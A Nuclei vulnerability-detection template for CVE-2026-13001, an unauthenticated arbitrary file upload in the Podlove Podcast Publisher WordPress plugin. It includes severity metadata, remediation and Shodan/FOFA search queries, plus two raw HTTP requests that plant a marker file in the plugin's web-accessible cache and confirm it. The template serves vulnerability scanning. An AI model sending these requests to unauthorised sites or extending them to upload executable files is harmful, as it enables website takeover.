Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload

id: CVE-2026-13001

info:
  name: Podlove Podcast Publisher <= 4.5.1 - Arbitrary File Upload
  author: aryu-ru
  severity: critical
  description: |
    Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension.
  impact: |
    An unauthenticated attacker can write files with an arbitrary extension into the web accessible cache directory, which may make remote code execution and full site compromise possible.
  remediation: |
    Update Podlove Podcast Publisher to version 4.5.2 or later.
  reference:
    - https://github.com/podlove/podlove-publisher/commit/5b32468601e903bae2bcacfaf36ff583d2bc9387
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f81a3429-f378-4295-adbe-ad6f1df59701?source=cve
    - https://github.com/advisories/GHSA-7gcx-p8g5-3g9x
    - https://plugins.trac.wordpress.org/changeset/3597461/podlove-podcasting-plugin-for-wordpress
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13001
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-13001
    epss-score: 0.03757
    epss-percentile: 0.89984
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: podlove
    product: podlove-podcasting-plugin-for-wordpress
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/podlove-podcasting-plugin-for-wordpress"
    fofa-query: body="/wp-content/plugins/podlove-podcasting-plugin-for-wordpress"
  tags: cve,cve2026,wordpress,wp,wp-plugin,podlove,file-upload,intrusive

variables:
  rnd: "{{randstr}}"
  marker: "{{to_lower(rnd)}}"
  source: "{{RootURL}}/{{marker}}.txt?/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/images/logo/podlove-publisher-icon-500.png"
  cid: "{{md5(concat(source,marker))}}"

http:
  - raw:
      - |
        GET /?podlove_image_cache_url={{hex_encode(source)}}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={{marker}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/cache/podlove/{{substr(cid,0,2)}}/{{substr(cid,2)}}/{{marker}}_original.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(hex_encode(body_2), "89504e470d0a1a0a")'
          - 'contains(header_2, "text/plain")'
          - 'status_code_2 == 200'
        condition: and